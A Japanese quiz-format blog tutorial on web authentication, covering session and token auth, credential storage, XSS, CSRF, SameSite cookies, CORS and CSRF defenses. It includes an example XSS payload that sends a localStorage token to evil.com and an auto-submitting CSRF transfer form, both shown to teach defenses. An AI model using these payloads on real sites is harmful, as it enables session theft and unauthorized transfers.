はじめに
ちょっと前に某SNSで認証の管理についての話題が大変盛り上がっていました。
認証は web アプリを作るうえで避けては通れない部分だとは思いますが、
一度作られるとあまり手を入れることが無かったり、フレームワークに組み込まれていることも多いので、
実は仕組みを理解せずに使っている人も多い気がします。
web アプリの認証についてクイズ形式でまとめていました。
おそらく基本情報技術者くらいの内容になっています。
ぜひ考えながら読んでみてください。
この記事では触れないもの:OAuth、OIDC、PKCE、BFF
ログインした後どうやって同じユーザーだと判断している?
田中さんがとあるサイトにログインしました。
その後、データを表示したり、投稿したり、サイト上で操作を行います。ログインをする時、データを表示する時、投稿するとき、それぞれ独立したHTTPリクエストが発生しますが、どのリクエストでも田中さんとして処理が行われます。
操作をしているのが田中さんであることはどのように判断しているのでしょうか?
「チケット」が漏れると何が起きる?
田中さんはとあるサイトにログインを行いました。
ブラウザには「チケット」が保存されていてabc123のような値が書いてあります。
何らかの方法で攻撃者がこの値を手に入れました。攻撃者はこれを使って何ができるでしょうか?
解説
「チケット」が漏れると、攻撃者が被害者になりすますことができます。
サーバーは通常、「送られてきたチケットが有効かどうか」を見て、誰のリクエストとして扱うかを判断します。
そのため、攻撃者が田中さんのチケットを使うと、田中さん本人からのリクエストであるかのように扱われてしまいます。
たとえば、田中さんとして投稿されたり、本人にしか見えない情報を見られたりする可能性があります。
サービスによっては、設定変更やパスワード変更などの重要な操作につながることもあります。
ブラウザに保存される「チケット」を守ることは非常に重要です。
認証の種類
「チケット」が何か?「チケット」をどこに置くか?は重要です。
まずは「チケット」が何かについて見ていきます。Web アプリケーションの認証方式には、代表的なものとしてセッション認証とトークン認証があります。
どちらの方法でも、ログインが成功したときに「チケット」に当たる値をブラウザに渡します。
セッション認証の「チケット」、トークン認証の「チケット」はそれぞれ何でしょうか?
解説
セッション認証では、セッション ID をブラウザに渡します。
トークン認証では、アクセストークンなどのトークンをブラウザに渡します。
セッション認証
セッション認証ではログインが成功すると、サーバー側にセッションというログイン情報を保存します。
たとえば、「このセッションは田中さんとしてログイン済みである」という情報をサーバー側で保持します。
そして、ブラウザにはそのセッションを参照するための セッションID を渡します。
このセッションIDが、この記事でいう「チケット」にあたります。
リクエストのたびにブラウザはセッションIDを送信し、サーバーはそのセッションIDに対応するログイン状態があるかを確認します。
トークン認証
トークン認証では、ログインが成功すると、サーバーがトークンを発行します。
このトークンが、この記事でいう「チケット」にあたります。
ブラウザはリクエストのたびにトークンを送信し、サーバーはそのトークンが有効かどうかを確認します。
トークン認証では JWT (ジョット)という形式のトークンが主に使われます。
JWT には、ユーザーを識別するための情報や有効期限などを含んでいます。
また、JWT には署名を付けることができます。
署名があることで、サーバーは「トークンの中身が途中で書き換えられていないか」「本物のトークンか」を確認できます。
トークンはセッションの上位互換?
セッションを使った認証の課題として「サーバー側でセッション情報を保持し続けなければならない」点があります。
一方で、トークン認証では、サーバー側でセッション一覧を管理しなくても認証できます。
では、トークン認証でできないこと・デメリットは何でしょうか?
解説
トークン認証の課題は、一度発行したトークンをサーバー側から無効化しにくいことです。
セッション認証では、サーバー側に保存しているセッション情報を削除すれば、そのセッションを無効にできます。
しかし、トークン認証ではサーバー側に「現在有効なトークン一覧」を持ちません。
そのため、たとえログアウトしても、ブラウザ側からトークンが削除されるだけで、発行したトークンをすぐに無効化することはできません。
一度発行したトークンを確実に無効化したい場合は、次のような工夫が必要になります。
- 無効化したトークンの一覧をサーバー側で保持し、トークンの検証時に確認する
- ユーザーごとに「この時刻より前に発行されたトークンは無効」と判断できる情報を持つ
ただし、リクエストごとに DB やメモリを確認したりすると、トークン認証のメリットである「サーバー側で認証状態を持たなくてよい」という特徴は弱くなります。
トークン認証を使う場合は、「サーバー側で状態を持たないシンプルさ」と「トークンをすぐに無効化したい要件」のバランスを考える必要があります。
そこまでするならセッション認証でよいのでは?となる場面も多いです。
「チケット」はどこに保存する?
「チケット」は、セッション ID やトークンであることが分かりました。
では次に、その「チケット」をどこに置くかについて見ていきます。セッション認証の場合も、トークン認証の場合も、発行された「チケット」をブラウザ側に保持する必要があります。
セッション認証の場合はセッション ID を、トークン認証の場合は JWT などのトークンをブラウザに保持します。では、それらの「チケット」はブラウザのどこに保存されることが多いでしょうか?
解説
ブラウザ側で「チケット」を保持する場所としては、主に次のようなものがあります。
- Cookie
- LocalStorage
- SessionStorage
- メモリ上の変数
この中でも、認証情報の保存先としてよくあげられるのは Cookie と LocalStorage です。
SessionStorage はタブごとに分かれており、別のタブとは共有されません。
メモリ上の変数に保存した場合は、ページをリロードすると消えてしまいます。
そのため、これらは単体で使うよりも、Cookie や LocalStorage と組み合わせて使われることが多いです。
XSSとは?
ここからは、認証に絡む攻撃について見ていきます。
掲示板サービスに、悪意のあるユーザーが次の文字列を投稿しました。
こんにちは!<script>fetch('http_s://evil.com?token=' + localStorage.getItem('token'))</script>サービスがこの投稿を HTML としてそのまま表示したとします。
この投稿を見たユーザーに何が起きるでしょうか?
解説
この投稿を閲覧した被害者のブラウザ上で、埋め込まれた <script> が実行されます。
その結果、localStorage.getItem('token') で認証情報が取得され、攻撃者が管理するサーバー evil.com へ送信されます。
このように、Web サイト上で攻撃者が用意した JavaScript が実行されてしまう攻撃を XSS(クロスサイトスクリプティング) といいます。
XSS は、ユーザーが入力した文字列を適切に無害化せず、HTML としてそのまま表示してしまうような場合に発生します。
XSS が発生した場合、DOM の内容・フォームの入力・ブラウザに保存している値など、JavaScript からアクセスできるものはすべて盗まれる可能性があります。
そのため XSS 対策はどこに「チケット」を保存するかに関係なく必須です。
ただし、LocalStorage は JavaScript から際限なく読めるので「チケット」を保存していると、「チケット」をブラウザの外に送り出せてしまいます。
例えば、「チケット」を攻撃者が管理するサーバに送付され、それを使ってなりすましなどが発生する可能性があります。
Cookie であれば HttpOnly 属性をつけることで JavaScript からの読み取りを禁止できるので、XSSで「チケット」を盗まれるのを防ぐことができます。
万が一 XSS が発生した場合に被害を抑えるという観点では、LocalStorage よりも HttpOnly Cookie に「チケット」を保持しておく方が安全です。
ただし、HttpOnly Cookie を使えば XSS が起きなくなるわけではないことには注意です。
CSRFとは?
田中さんはネットバンク(
bank.example.com)にログイン中です。ログイン状態を表す「チケット」は、HttpOnly Cookie に保存されています。
その状態で、怪しいリンクをクリックしてしまいました。
遷移先のページには、次のコードが仕込まれていました。<form action="http_s://bank.example.com/transfer" method="POST" id="f"> <input name="to" value="attacker"> <input name="amount" value="100000"> </form> <script>document.getElementById('f').submit()</script>このページを開いた瞬間、田中さんのブラウザで何が起きるでしょうか?
解説
このページを開くと、JavaScript がフォームを自動送信し、http_s://bank.example.com/transfer に POST リクエストが飛びます。
その際、ブラウザは bank.example.com 向けの Cookie を自動で付与してリクエストを送るため、
ネットバンクサーバーが「ログイン済みの田中さんからのリクエスト」だと誤認し、/transfer を実行してしまう可能性があります。
このように、ログイン済みの利用者のブラウザに、意図しないリクエストを送らせる攻撃を CSRF(クロスサイトリクエストフォージェリ、シーサーフ)といいます。
CSRF が成立する大きな理由は、Cookie がリクエストに自動で付与されることです。
localstorage で「チケット」を管理し Cookie を使わない場合は CSRF は起こりえません。
また、CSRF では攻撃者がレスポンスの内容を盗んだり、改ざんしたりするわけではありません。
攻撃者が狙うのは、リクエストによって発生する副作用です。
たとえば、次のような操作が実行される可能性があります。
- 意図しない送金が行われる
- 勝手に投稿される
- メールアドレスやパスワードを変更される
- 退会処理や設定変更をされる
CSRF 対策としては、主に次のような観点があります。
- Cookie の設定
- ブラウザからクロスオリジンへの通信をむやみに送らないようにする
- 悪意あるサイトから通信が飛んできても攻撃が成立しないようにする
この後、それぞれの対策について詳しく見ていきます。
Cookie 設定
CSRF は、Cookie がリクエストに自動で付与されるというブラウザの仕様を利用して行われます。
では、Cookie を使った認証で CSRF のリスクを下げるために、Cookie にはどのような設定をしておくとよいでしょうか?
解説
SameSite=Lax または Strict を設定します。
SameSite 属性を使うと、リクエストに Cookie を付ける条件を制御できます。
Cookie が送られなければ、サーバーはそのリクエストを「ログイン済みユーザーからのリクエスト」として扱えず、攻撃が成立しにくくなります。
ただし、SameSite を設定すればすべての CSRF 対策が不要になるわけではありません。
他の対策と組み合わせることが重要です。
ブラウザからクロスオリジンへの通信をむやみに送らないようにする
実はブラウザはデフォルトで、開いているページのオリジンと異なるオリジンへのリクエストを制限します。(SOPという仕組み)
なのでそのままだと、フロントエンドとバックエンドでポートが異なる場合(localhost:3000 と localhost:8080 など)や、外部の API を呼び出す場合などに通信を通すことができません。
この制限を緩和し、サーバーが「このオリジンからのリクエストは飛ばしていいよ」とブラウザに伝える仕組みのことを何というでしょうか?
解説
CORS(クロスオリジンリソースシェアリング) といいます。
CORS は、異なるオリジンへのリクエストを安全に扱うための、サーバ↔ブラウザ間の仕組みです。
サブドメインが乗っ取られでもしない限り、CSRF を狙う悪意あるページはサーバとは異なるオリジンで配信されるので、
オリジン間の通信を制御することは CSRF 対策として有効な手段の一つです。
具体的なCORSの動きをみてみます。
たとえば、http_s://example.com で開いているページから http_s://hogehoge.com にリクエストする場合、ホストが異なるためクロスオリジンになります。
クロスオリジンのリクエストを行う場合、ブラウザは事前に「このリクエストを送ってよいか」を以下のように確認します。
ブラウザは本体のリクエストを飛ばす前に、プリフライトリクエストと呼ばれる確認用のリクエストを飛ばします。
そのレスポンスを見て、許可されていれば実際のリクエストを送ります。これが基本の流れです。
ただし、一部例外でプリフライトリクエストが飛ばずいきなり本体のリクエストが飛ぶことがあります。
これを「単純リクエスト」といいます。
以下の条件をすべて満たすものが単純リクエストです。
- メソッドが以下のいずれか
- GET
- HEAD
- POST
- Content-Type が以下のいずれか
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain
- 以下のヘッダー以外のものがついていない
- Accept
- Accept-Language
- Content-Language
- Content-Type
- Range
この形式ではプリフライトリクエストが飛ばないため、クロスオリジン状態でもブラウザはリクエストを飛ばしてしまいます。
CSRF で form が使われる理由がここにあり、
HTML の
CORSを設定しただけでは単純リクエストを用いたCSRFは防ぐことができません。
悪意あるサイトから通信が飛んできても CSRF が成立しないようにする
これまで Cookie の設定と CORS によるクロスオリジンリクエストの制御について見てきました。
しかし、単純リクエストは CORS の事前確認(プリフライトリクエスト)を経ずに送られてしまいます。アプリケーション(サーバー)側で行うべき CSRF 対策には、どのようなものがあるでしょうか?
解説
悪意あるサイトからリクエストが飛んできても CSRF が成立しないようにする対策として、以下の方法があります。
GET では変更の発生する処理を行わない
GET リクエストは通常、単純リクエストになるためプリフライトリクエストが飛びません。
せっかく CORS の設定を書いていても意味がなくなってしまうため、副作用のある処理は GET で公開しないようにします。
Content-Type の制限
CSRF を狙う攻撃で POST を通すには <form> タグがよく使われます。
<form> タグでは application/json を送ることができないため、リソースサーバーで Content-Type を application/json に限定することが有効です。
これにより、フォームを使った単純リクエストによる攻撃を防ぐことができます。
カスタムリクエストヘッダーを要求する
単純リクエストの条件には「特定のヘッダー以外がついていないこと」という制限があります。
この性質を利用して、すべてのリクエストに独自のカスタムヘッダーを必須にする方法があります。
- カスタムヘッダーがない → リクエストをはじく
- カスタムヘッダーがある → 単純リクエストの条件を外れるため、プリフライトリクエストが飛び、CORS の設定が適用される
CSRF トークン
ログインしたとき、サーバーはブラウザに CSRF トークンを発行します。
アプリケーション(フォームや JavaScript)が毎リクエストにこのトークンを付与し、サーバーはトークンを検証することで本物のページからきた通信であることを確認します。
単純リクエストの場合でも、トークンの有無によって不正な通信をはじくことができます。
かつてはこの CSRF トークンによる対策が最もメジャーでした。
今も有効な対策ですが、SameSite Cookie や Content-Type の制限など、より手軽で有効な対策が普及しています。
それらをまず整備した上で、さらに CSRF トークンも加えるとより堅牢になります。
おわりに
認証情報(チケット)をブラウザのどこで保持すべきかは、たびたび話題になります。
シンプルな web アプリをつくるなら、単一ドメイン上に構築 + セッション認証 + HttpOnly Cookie の構成が無難なんじゃないかなと思っています。
複数のクライアントに展開したい、API を複数立てたい、となってくるとまた話が変わってくると思いますが、それはまた別の機会に。
参考






